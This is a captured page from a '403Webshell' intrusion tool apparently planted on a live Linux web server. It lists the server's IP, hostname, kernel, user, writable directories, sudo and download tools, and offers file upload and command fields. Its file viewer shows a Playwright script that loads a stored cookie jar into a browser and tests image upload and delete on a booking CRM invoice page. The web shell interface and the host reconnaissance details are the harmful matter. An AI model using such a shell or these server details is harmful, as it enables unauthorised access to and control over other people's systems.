403Webshell
Server IP : 202.61.199.114  /  Your IP : 216.73.217.139
Web Server : nginx/1.22.1
System : Linux de.arni-solutions.de 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : web20 ( 1018)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /tmp/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tmp/crm.py
from playwright.sync_api import sync_playwright
IID=open('/tmp/iid.txt').read().strip()
cookies=[]
for line in open('/tmp/cj.txt'):
    if line.startswith('#') or not line.strip(): continue
    p=line.strip().split('\t')
    if len(p)>=7: cookies.append({'name':p[5],'value':p[6],'domain':p[0].lstrip('.'),'path':p[2]})
with sync_playwright() as p:
    b=p.chromium.launch(); ctx=b.new_context(viewport={"width":1100,"height":1500}); ctx.add_cookies(cookies)
    pg=ctx.new_page(); errs=[]; pg.on("console", lambda m: errs.append(m.text) if m.type=="error" else None)
    pg.goto("https://seaside.pacim.de/booking/view/?invoice_id="+IID, wait_until="networkidle"); pg.wait_for_timeout(800)
    pg.click('[data-bs-target="#bk-images"]'); pg.wait_for_timeout(1000)
    print("block present:", pg.eval_on_selector_all('.bkimg-block','e=>e.length'))
    print("initial thumbs:", pg.eval_on_selector_all('.bkimg-block .bkimg-thumb','e=>e.length'))
    # upload
    pg.click('.bkimg-add'); pg.wait_for_timeout(400)
    print("upload modal open:", pg.is_visible('#bkimg-upmodal'))
    pg.set_input_files('#bkimg-up-gal','/tmp/testimg.jpg'); pg.wait_for_timeout(500)
    pg.fill('#bkimg-up-tiles .bkimg-tnote','Frontschaden links')
    pg.click('#bkimg-up-go'); pg.wait_for_timeout(3500)
    print("modal after upload open:", pg.is_visible('#bkimg-upmodal'))
    print("thumbs after:", pg.eval_on_selector_all('.bkimg-block .bkimg-thumb','e=>e.length'),"| tab badge:", pg.inner_text('#bk-img-tabcount'))
    # lightbox
    pg.eval_on_selector('.bkimg-block .bkimg-thumb','e=>e.click()'); pg.wait_for_timeout(700)
    print("lightbox open:", pg.is_visible('#bkimg-lb'), "| dl shown:", pg.is_visible('#bkimg-lb-dl'), "| del shown:", pg.is_visible('#bkimg-lb-del'))
    pg.screenshot(path="/tmp/crm_lb.png")
    # delete
    pg.on("dialog", lambda d: d.accept())
    pg.click('#bkimg-lb-del'); pg.wait_for_timeout(1500)
    print("after delete thumbs:", pg.eval_on_selector_all('.bkimg-block .bkimg-thumb','e=>e.length'), "| tab badge:", pg.inner_text('#bk-img-tabcount'))
    print("console errors:", errs[:5])
    b.close()

Youez - 2016 - github.com/yon3zu
LinuXploit